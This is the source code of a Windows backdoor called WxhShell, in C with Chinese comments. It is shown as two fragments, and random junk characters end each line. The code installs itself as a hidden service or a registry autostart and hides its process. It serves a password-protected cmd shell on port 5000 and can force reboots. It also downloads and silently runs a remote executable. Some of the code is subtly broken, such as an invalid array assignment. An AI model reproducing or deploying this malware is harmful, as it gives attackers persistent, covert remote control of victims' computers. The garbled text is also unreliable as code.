    if(Boot(SHUTDOWN)) h7iI=[_V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %. =B=*  
    else { Gm 0&y  
    closesocket(wsh); M PhG:^g  
    ExitThread(0); ,U\F <$O  
    } %z}{jqD&:X  
    break; ai!zb2j!E  
    } ~|_s2T  
  // 获取shell |2#)lGA  
  case 's': { qHT_,\l2  
    CmdShell(wsh); Q:6i 3 Nr/  
    closesocket(wsh); cN}Aeo  
    ExitThread(0); SLyeonM-C  
    break; kf3 u',}R  
  } BB&7VSgc-  
  // 退出 <<,YgRl2  
  case 'x': { Z= P]UD  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +}eGCZra  
    CloseIt(wsh); rq;Xcc  
    break; &R? \q*  
    } oDtgB O<  
  // 离开 8CR b6  
  case 'q': { Z%]s+V)st  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1$&(ei]*:  
    closesocket(wsh); yHY \4OHS  
    WSACleanup(); .DzFt c  
    exit(1); v##k,R.d  
    break; t u )kWDk  
        } K\w:'%>-  
  } E;Akm':  
  } zGfF.q}  
z+RA  
  // 提示信息 R4 8w\?L  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \yIan<q  
} jF5Y-CX  
  } ^EK]z8;|  
A2fc_A/a  
  return; }YiE} +VW|  
} 8.9Z0  
\e89 >m  
// shell模块句柄 nH6Ny  
int CmdShell(SOCKET sock) ?<YQ %qaW7  
{ >l<`)4*H  
STARTUPINFO si; ~N<zv( {lG  
ZeroMemory(&si,sizeof(si)); T1\LS*~!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; LHQ$0LVt>T  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !fwMkws  
PROCESS_INFORMATION ProcessInfo; :gD=F&V  
char cmdline[]="cmd"; }XJA#@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); it Byw1/  
  return 0; |ia#Elavo  
} ljr?Z,R4  
>(>,*zP<9  
// 自身启动模式 #qx$ p  
int StartFromService(void) [{}Hk%wlX  
{ 6ol*$Q"z  
typedef struct aYJTSgW  
{ ,~ z*V;y)  
  DWORD ExitStatus; O[$,e%  
  DWORD PebBaseAddress; [&Yrnkgr  
  DWORD AffinityMask; XLu Y  
  DWORD BasePriority; XfYMv38(  
  ULONG UniqueProcessId; V8Lp%*(3  
  ULONG InheritedFromUniqueProcessId; cdBD.sg  
}   PROCESS_BASIC_INFORMATION; <D_UF1Pk  
*H2@lrc  
PROCNTQSIP NtQueryInformationProcess; [:CV5k~xc  
Kc3BVZ71  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; QPc4bg\J~t  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; f ye=8 r  
W@b Z~Q9  
  HANDLE             hProcess; ]!um}8!}  
  PROCESS_BASIC_INFORMATION pbi; %1oh+'ES F  
(dH "b *  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); i9RAb tQ}  
  if(NULL == hInst ) return 0; 5YZh e4R  
m }J@w~#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); w \U?64  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); vtA%^~0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =._V$:a6o  
~W>3EJghR,  
  if (!NtQueryInformationProcess) return 0; M:PEY*4H  
HQy:,_f@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); cF2!By3M  
  if(!hProcess) return 0; q6]T;)U&  
9I|D"zXn  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; pO_$8=G+  
:{g;J  
  CloseHandle(hProcess); &1 BACKu  
6zZT5 Kn  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )/p=ZH0[  
if(hProcess==NULL) return 0; D\4pLm"!v  
Pg''>6w>  
HMODULE hMod; ^oLMgz  
char procName[255]; -4;$NiB?  
unsigned long cbNeeded; vWs#4JoG  
{%&!x;%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 59@PY!c>  
: Yb_  
  CloseHandle(hProcess); K!<3|d  
>d9b"T  
if(strstr(procName,"services")) return 1; // 以服务启动 )wM881_!  
)w_hbU_Pb&  
  return 0; // 注册表启动 A!:R1tTR;S  
} y),yks?iv  
>53Hqzm&  
// 主模块 ;"9$LHH*  
int StartWxhshell(LPSTR lpCmdLine) nu6p{_M  
{ B<Zm'hdX  
  SOCKET wsl; 2{6%+>jB  
BOOL val=TRUE; w;wgh`ur  
  int port=0; CZzgPId%x  
  struct sockaddr_in door; 3+4U?~^k*  
2Kmnt(>  
  if(wscfg.ws_autoins) Install(); riu_^!"Z_  
~p!=w#/  
port=atoi(lpCmdLine); !^x;4@Ejm  
d(_;@%p1X  
if(port<=0) port=wscfg.ws_port; _qf$dGqc  
A=f)ntH~  
  WSADATA data; _g]h \3  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =e"RE/q2  
z=j,-d%9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   o]<@E uG  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {5NE jUu{j  
  door.sin_family = AF_INET; Jwtt&" c0.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); B;A< pNT  
  door.sin_port = htons(port); C9j3|]nyL  
L2Z-seE  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |I2~@RfpO:  
closesocket(wsl); +Y_]<  
return 1; <*@!>6mS  
} n_/;j$h  
PN"=P2e/ 6  
  if(listen(wsl,2) == INVALID_SOCKET) { -%_vb6u  
closesocket(wsl); .P(A x:g  
return 1; ~5;2ni8n  
} 9zD,z+  
  Wxhshell(wsl); ,7n8_pU  
  WSACleanup(); 6sQY)F7p  
(Rs|"];?Z  
return 0; c?%}J\<n  
nj <nW5[  
} G Tz>}@W  
mcb|N_#n/  
// 以NT服务方式启动 m4@Lml+B,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) hbSXa'  
{ h @2.D|c)g  
DWORD   status = 0; [2.;gZj  
  DWORD   specificError = 0xfffffff; QR\2 %}9b  
S#F%OIx  
  serviceStatus.dwServiceType     = SERVICE_WIN32; WxJV zHtR  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; El^V[s'3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; EG J/r  
  serviceStatus.dwWin32ExitCode     = 0; QD;:!$Du  
  serviceStatus.dwServiceSpecificExitCode = 0; k0IztFyj:R  
  serviceStatus.dwCheckPoint       = 0; dk_! ~Z  
  serviceStatus.dwWaitHint       = 0; Z5 Tu*u=  
G4,.kK  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); AmX ~KK  
  if (hServiceStatusHandle==0) return; M=sGPPj  
,aU8. J_U  
status = GetLastError(); THcX.%ToT  
  if (status!=NO_ERROR) [N_)V kpr  
{ jyFKO[s\X  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; m~`f0  
    serviceStatus.dwCheckPoint       = 0; 4Jk[X>I~  
    serviceStatus.dwWaitHint       = 0; l~n=_R3  
    serviceStatus.dwWin32ExitCode     = status; KSR'X0'  
    serviceStatus.dwServiceSpecificExitCode = specificError; axM(3k.n  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); b" kL)DL1L  
    return; z]R% A:6K  
  } *@fVogr^  
Q[&CtM  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; X8 A$&  
  serviceStatus.dwCheckPoint       = 0; +<^c2diX  
  serviceStatus.dwWaitHint       = 0; T1A/>\Ns  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); t $u.  
} Io4Ss1="  
Y.#:l<  
// 处理NT服务事件,比如:启动、停止 Z"d21D~h9`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) )E}eK-Yu  
{ la_FZ  
switch(fdwControl) X8 x:/]/0  
{ E.4 X,  
case SERVICE_CONTROL_STOP: >8EmfjUoc  
  serviceStatus.dwWin32ExitCode = 0; ^o[(F<q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Jyyr'1/<k  
  serviceStatus.dwCheckPoint   = 0; ADT8A."R[  
  serviceStatus.dwWaitHint     = 0; #RWmP$+#=  
  { Jzj>=jWX@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R[!%d6jDE  
  } Ze3sc$fG2  
  return; $sb `BS  
case SERVICE_CONTROL_PAUSE: 2T-3rC)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]Vd1fkXO0  
  break; 8M6Qn7{L  
case SERVICE_CONTROL_CONTINUE: N3&n"w _d  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,H5o/qNU`{  
  break; 9@8)ZHf  
case SERVICE_CONTROL_INTERROGATE: GQ1m h*4$  
  break; RsnFjfb'  
}; r^+n06[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g acE?bW'  
} AxiCpAS;J  
^03M~ SNCj  
// 标准应用程序主函数 DX<xkS[P  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;s w3MRJ  
{ 'ExTnv ~  
pTE.,~-J^j  
// 获取操作系统版本 ke5_lr(  
OsIsNt=GetOsVer(); %VGQ{:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); T#=&oy7  
M<3m/l%`Y  
  // 从命令行安装 r=ht:+m  
  if(strpbrk(lpCmdLine,"iI")) Install();  r95$( N  
? W2W y\  
  // 下载执行文件 r&O:Bt}x  
if(wscfg.ws_downexe) { csms8J  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3.?B')  
  WinExec(wscfg.ws_filenam,SW_HIDE); E>NL/[1d  
} v$EgVc K  
"xE;IpO[  
if(!OsIsNt) { xi!R[xr1  
// 如果时win9x,隐藏进程并且设置为注册表启动 3R[,,WAj$  
HideProc(); g?e-D.pSF  
StartWxhshell(lpCmdLine); S3Sn_zqG  
} Kz9h{ Tu4  
else IK|W^hH\8  
  if(StartFromService()) ZN-5W|' O  
  // 以服务方式启动 Yf[GpSej  
  StartServiceCtrlDispatcher(DispatchTable); IjrjLp[z$  
else V>B*_J,z.  
  // 普通方式启动 42 &m)  
  StartWxhshell(lpCmdLine); L`0}wR?+  
Z=y^9]  
return 0; \ Q0-yNt  
} Fhbp,CX4p  
d;LBV<Z?  
Tsl0$(2W  
few=`%/  
=========================================== 5JA5:4aev  
M{M?#Q  
= RQ\i6Y  
uJ>_ 2  
= ms o1  
 -TKQfd  
" MDh^ic5  
#wL8=QTcNC  
#include <stdio.h> I,YP{H4  
#include <string.h> U\`H0'  
#include <windows.h> O{44GB3  
#include <winsock2.h> q NE( @at  
#include <winsvc.h> .5YIf~!59  
#include <urlmon.h> P1}Fn:Xe%7  
Vv5#{+eT;  
#pragma comment (lib, "Ws2_32.lib") 8CN 0Q&|  
#pragma comment (lib, "urlmon.lib") 7EukrE<b'  
4@ =l'Fw  
#define MAX_USER   100 // 最大客户端连接数 mp+lN:  
#define BUF_SOCK   200 // sock buffer 62z"cFN  
#define KEY_BUFF   255 // 输入 buffer h]#bPb  
pxO ?:B  
#define REBOOT     0   // 重启 sXm,y$ \m  
#define SHUTDOWN   1   // 关机 <aEY=IF4  
oB]   
#define DEF_PORT   5000 // 监听端口 U0t~H{-H  
.~fAcc{Qj  
#define REG_LEN     16   // 注册表键长度 VS_xC $X!S  
#define SVC_LEN     80   // NT服务名长度 w`F4.e  
$ h<l  
// 从dll定义API x1nqhSaD  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); c=A)_ZFg  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); LG3:V'|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); F3V_rE<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \IG"Te  
KgMW  
// wxhshell配置信息 ]@UJ 8hDy  
struct WSCFG { Lv`NS+fX  
  int ws_port;         // 监听端口 En]+mIEo  
  char ws_passstr[REG_LEN]; // 口令 pX/,s#dY>  
  int ws_autoins;       // 安装标记, 1=yes 0=no X1{U''$ K  
  char ws_regname[REG_LEN]; // 注册表键名 cWG?`6xU&  
  char ws_svcname[REG_LEN]; // 服务名 2V 9vS  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Qg;?C  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 v5!G/TZ1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 p 6FPdt)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6 su^yt  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" N#? Ohz  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `:fc*n,*  
Q-LDFnOFwp  
}; T2V# fYCc  
~Q)137u]P  
// default Wxhshell configuration L_WVTz?`  
struct WSCFG wscfg={DEF_PORT, p|b&hgA  
    "xuhuanlingzhe", h#iFp9N  
    1, E5}wR(i,4  
    "Wxhshell", Ie%twc  
    "Wxhshell", JZ  
            "WxhShell Service", LVj62&,-  
    "Wrsky Windows CmdShell Service", ? m$7)@p  
    "Please Input Your Password: ", M;i4ss,}!  
  1, 6s"Erq5q  
  "http://www.wrsky.com/wxhshell.exe", d\{#*{_A  
  "Wxhshell.exe" ;f8$vW ];  
    }; CdN,R"V0$@  
1li1&  
// 消息定义模块 -bHfo%"^TT  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; V\V:uo(C  
char *msg_ws_prompt="\n\r? for help\n\r#>"; J0hY~B~X  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; S2jO  
char *msg_ws_ext="\n\rExit."; 2-3|0<`  
char *msg_ws_end="\n\rQuit."; +'NiuN  
char *msg_ws_boot="\n\rReboot..."; +AT!IZrB2i  
char *msg_ws_poff="\n\rShutdown..."; p<@0b  
char *msg_ws_down="\n\rSave to "; /#PEEN  
]Qp0|45=  
char *msg_ws_err="\n\rErr!"; SR#%gR_SC  
char *msg_ws_ok="\n\rOK!"; nD\ X3g `V  
5Dy800.B2  
char ExeFile[MAX_PATH]; 7/;Xt&  
int nUser = 0; t-\S/N  
HANDLE handles[MAX_USER]; N~ -N Q  
int OsIsNt; %^=fjJGV{~  
Fc;)p88[  
SERVICE_STATUS       serviceStatus; `A\ !Gn?   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; lA39$oJ  
3ySP*J5  
// 函数声明 ;6o p|  
int Install(void); c7jft|4S  
int Uninstall(void); Z\E3i  
int DownloadFile(char *sURL, SOCKET wsh); ?o h3t  
int Boot(int flag); ChLU(IPo6  
void HideProc(void); V(3udB@K  
int GetOsVer(void); (U/xpj}  
int Wxhshell(SOCKET wsl); ;bd\XHwMUP  
void TalkWithClient(void *cs); 63QSYn,t  
int CmdShell(SOCKET sock); a$I; L  
int StartFromService(void); $S$%avRX  
int StartWxhshell(LPSTR lpCmdLine); Aa&3x~3+  
5Mb1==/R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :~ 3/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |WeLmy%9  
,\5]n&T;r  
// 数据结构和表定义 Vkex&?>v$  
SERVICE_TABLE_ENTRY DispatchTable[] = EIl _QV6  
{ a%f5dj+  
{wscfg.ws_svcname, NTServiceMain}, m=2TzLVv  
{NULL, NULL} /^ v4[]  
}; }k}5\%#li5  
J4te!,  
// 自我安装 8zz-jk R  
int Install(void) 0Bn$C, -  
{ MB\vgKY  
  char svExeFile[MAX_PATH]; :Ke~b_$Uy-  
  HKEY key; `S Wf)1K  
  strcpy(svExeFile,ExeFile); L iJ;A*  
4qjY,QJ  
// 如果是win9x系统,修改注册表设为自启动 aO'$}rDf$  
if(!OsIsNt) { hNFMuv  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (@`+Le  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *#EyfMz-B  
  RegCloseKey(key); !.iA^D//]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { * Yov>lO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >k^=+  
  RegCloseKey(key); )zt*am;  
  return 0; 52*zX 3  
    } 8(%iYs$  
  } W.o W =<  
} P G) dIec  
else { z@VY s  
A1\;6W:  
// 如果是NT以上系统,安装为系统服务 K ^H=E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Y&k'4Y%  
if (schSCManager!=0) e )\s0#  
{ yA(H=L-=!1  
  SC_HANDLE schService = CreateService T:wd3^.CG  
  ( eUqsvF}l!  
  schSCManager, &cDnZ3Q;  
  wscfg.ws_svcname, pz?.(AmU\  
  wscfg.ws_svcdisp, sJ?Fque  
  SERVICE_ALL_ACCESS, <H)h+?&~d  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,[+gE\z{{u  
  SERVICE_AUTO_START, vC\]7]mC  
  SERVICE_ERROR_NORMAL, b#k$/A@  
  svExeFile, tA@#SIw  
  NULL, -CY?~W L&  
  NULL, GS$OrUA  
  NULL, j/wNPB/NM  
  NULL, ZWmmFKFG.  
  NULL BWL~)Hx  
  ); qVJV9n  
  if (schService!=0) J_U1eSz<j  
  { Cb.~Dv !  
  CloseServiceHandle(schService); i/oaKpPN  
  CloseServiceHandle(schSCManager); ngEjbCV+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  UX2`x9  
  strcat(svExeFile,wscfg.ws_svcname); sh}=#eb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { kY xn5+~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Vjj30f  
  RegCloseKey(key); 62%. ddM4  
  return 0; 6E@r9U  
    } s qac>v  
  } &^qD<eZ!Eq  
  CloseServiceHandle(schSCManager); #(bMZ!/(  
} lGjmw"/C  
} #i.M-6SRd  
t 7;V`[  
return 1; L4}C%c\p*  
} 8*4X%a=Of  
vYmRW-1Zxq  
// 自我卸载 FL0(q>$*8  
int Uninstall(void) $+S'Boo   
{ im%'S6_X4  
  HKEY key; Thw E1M  
4\ H;A  
if(!OsIsNt) { "+&|$*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +UHf&i/3  
  RegDeleteValue(key,wscfg.ws_regname); %dO'kU/-  
  RegCloseKey(key); qN}0$x>p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rt!5Tl+v  
  RegDeleteValue(key,wscfg.ws_regname); FB6`2E%o  
  RegCloseKey(key); ~+QfP:G  
  return 0; mWUQF"q8  
  } cl1h;w9s  
} M*8Ef^-U`t  
} /S\P=lcb  
else { 1/6G&RB  
h&[]B*BLr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); gAgzM?A1(  
if (schSCManager!=0) noOG$P#  
{ @\z2FJ79w  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); bb+-R_3Kd  
  if (schService!=0) >=6tfLQ  
  { l>7`D3  
  if(DeleteService(schService)!=0) { e<9IwS!/  
  CloseServiceHandle(schService); !95ZK.UT  
  CloseServiceHandle(schSCManager); 5R/k -h^`  
  return 0; +<|6y46  
  } wb.47S8  
  CloseServiceHandle(schService); !m' lOz  
  } t_x \&+W  
  CloseServiceHandle(schSCManager); )g9Zw_3  
} [$;6LFs }  
} -fT]}T6=  
k[gO>UGB;  
return 1; _rY,=h{+  
} (.m0hN!~u  
oh:g  
// 从指定url下载文件 xQ^zX7  
int DownloadFile(char *sURL, SOCKET wsh)  $3W[fC  
{ k^S=i_ U  
  HRESULT hr; bh3}[O,L A  
char seps[]= "/"; u! x9O8y  
char *token; 2"c $#N  
char *file; o[O-|XL_  
char myURL[MAX_PATH]; 3!,XR\`[  
char myFILE[MAX_PATH]; $cSrT)u :  
# 0dN!l;  
strcpy(myURL,sURL); loLQ@?E  
  token=strtok(myURL,seps); op/HZa  
  while(token!=NULL) 0}PW<lU-  
  { 7^ITedW@  
    file=token; >|/NDF=\s  
  token=strtok(NULL,seps); !WR(H&uBr\  
  } k/u6Cw0/  
506B =  
GetCurrentDirectory(MAX_PATH,myFILE); (XX6M[M8  
strcat(myFILE, "\\"); 5nkx8JJ  
strcat(myFILE, file); q+>{@tP9  
  send(wsh,myFILE,strlen(myFILE),0); .MXznz  
send(wsh,"...",3,0); '0p 5|[ZD  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); py]m^)yc  
  if(hr==S_OK) 9.!6wd4mw  
return 0; [YpSmEn}Y  
else nz3j";d  
return 1; p'0jdb :S  
\=kH7 !  
} %r=uS.+hrF  
A{bt Z#k  
// 系统电源模块 <_dyUiT$J  
int Boot(int flag) Yo/U/dB  
{ \|F4@  
  HANDLE hToken; hJ (Q^Z  
  TOKEN_PRIVILEGES tkp; 5IOOVYl  
` {gkL-  
  if(OsIsNt) { lQ<2Vw#Yl  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +\fr3@Yc  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =!*e; L  
    tkp.PrivilegeCount = 1; !\'7j-6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +?w 7Nm`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); GLp2 ?fon  
if(flag==REBOOT) { osoreo;V^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) d(3F:dbk  
  return 0; X*KQWs.  
} X|TEeE c[L  
else { 9TIyY`2!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,^pM]+NF|  
  return 0; %[u6<  
} Kyt.[" p  
  } 1XSA3;ZEc  
  else { & Gp@,t  
if(flag==REBOOT) { A[ 9 @:z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) W2D^%;mw  
  return 0; GpMKOjVm|  
} o]t6u .L  
else { HgvgO\`]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) gbsRf&4h  
  return 0; OL4I}^*,  
} ! @{rk p  
} ZR.1SA0x?O  
Sf);j0G,D  
return 1; :3^b>(W.  
} 11glFe  
%<lfe<;^t  
// win9x进程隐藏模块 nfJ|&'T  
void HideProc(void) >@KQ )p' `  
{ CoDu|M%  
?&I gD.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Q&] }`Rp=  
  if ( hKernel != NULL ) H%t/-'U?  
  { O$k;p<?M  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); G~1#kg  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); P~Q5d&1SO  
    FreeLibrary(hKernel); 7-6Z\.-  
  } &$?e D{  
u/Fa+S  
return; 6&M $S$y  
} *:J#[ET,  
xphw0Es  
// 获取操作系统版本 (# Z2  
int GetOsVer(void) ,],"tzKtE  
{ K QXw~g?  
  OSVERSIONINFO winfo; 8 !Pk1P  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $/90('D  
  GetVersionEx(&winfo); 2.u d P  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) a% |[m,FvP  
  return 1; '@>FtF[Gu  
  else Rp `JF}~o  
  return 0; ?v-IN  
} 7F;"=DarOE  
b Gq0k&  
// 客户端句柄模块 gP"p7\ (  
int Wxhshell(SOCKET wsl) jCDZ$W89  
{ )^7Y^u e  
  SOCKET wsh; sDT(3{)L7  
  struct sockaddr_in client; .j:.?v  
  DWORD myID; fzO4S^mTo8  
b#bdz1@s  
  while(nUser<MAX_USER) YLmzMD>  
{ A`v(hBM  
  int nSize=sizeof(client); %VOn;_Q*B  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); F]]np&UV.  
  if(wsh==INVALID_SOCKET) return 1; Pk9s~}X  
}hrLM[  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); s\i=-`  
if(handles[nUser]==0) G;_QE<V~_  
  closesocket(wsh); iwWy]V m7  
else #qXE[%  
  nUser++; &dF$:$'s  
  } Rn~FCj,-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); vZj^&/F$=g  
nv1'iSEeOl  
  return 0; u.*@ l GVW  
} V#.;OtF]  
$C0Nv Jf  
// 关闭 socket ^prseO?A  
void CloseIt(SOCKET wsh) rLs)*A!  
{ xnmIo? hC  
closesocket(wsh); +N5#EpW  
nUser--; 2ME"=! &5  
ExitThread(0); 0JQy-hpF  
} :_JZn`Cab  
IG0$OtG  
// 客户端请求句柄 :VP4|H#SP  
void TalkWithClient(void *cs) })!d4EcZf  
{ G3n* bv  
/AV [g^x2  
  SOCKET wsh=(SOCKET)cs; qp 4.XL  
  char pwd[SVC_LEN]; n"vl%!B  
  char cmd[KEY_BUFF]; a]'sby  
char chr[1]; s|rlpd4y  
int i,j; (__=*ew  
K]' 84!l  
  while (nUser < MAX_USER) { -Bbg'=QZa  
*6^|i}  
if(wscfg.ws_passstr) { *#1&IJPI  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Os^sOOSY  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zIt-mU  
  //ZeroMemory(pwd,KEY_BUFF); jT"P$0sJAd  
      i=0; WXu:mv,'e  
  while(i<SVC_LEN) { eT1b88_  
`}.K@17  
  // 设置超时 h=SQ]nV{  
  fd_set FdRead; } [}u5T`w>  
  struct timeval TimeOut; 0cZyO$.  
  FD_ZERO(&FdRead); dl;~-'0  
  FD_SET(wsh,&FdRead); p 2x OjS1  
  TimeOut.tv_sec=8; Cj%SW <v|  
  TimeOut.tv_usec=0; )tR5JK} AV  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @;kw6f:{d  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); pg~vteq5  
?g%5 d  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E]w1!Ah M  
  pwd=chr[0]; 'Wjuv9)/  
  if(chr[0]==0xd || chr[0]==0xa) { H `y.jSNi  
  pwd=0; v1<gNb)`  
  break; 9 tkj:8_  
  } &?>h#H222  
  i++; K];nM}<  
    } O-Hu:KuIf  
I\DmVc\l  
  // 如果是非法用户,关闭 socket T:o!H Xdj^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :zfnp,Gv  
} v#&r3ZW0  
_ _cJ+%e  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~E-YXl9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,!t1( H  
B04%4N.g"X  
while(1) { 4"1OtBU3  
D}'g4Ag  
  ZeroMemory(cmd,KEY_BUFF); mj5$ 2J  
Ol H{!  
      // 自动支持客户端 telnet标准   c+?L?s`"  
  j=0; },'hhj]O  
  while(j<KEY_BUFF) { 6cz%>@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =2uE\6Fl,  
  cmd[j]=chr[0]; #Z<pks2 y  
  if(chr[0]==0xa || chr[0]==0xd) { D 7 l&L  
  cmd[j]=0; L>+g;GJ  
  break; rt$z&#M  
  } pq_DYG]  
  j++; ~K%]9  
    } $l-|abLELz  
f gI.q  
  // 下载文件 P`6 T;|VDk  
  if(strstr(cmd,"http://")) { 75i M_e\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); i@e.Uzn  
  if(DownloadFile(cmd,wsh)) xb\(>7M6Y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !iUdej^tx  
  else H6E@C}cyM  
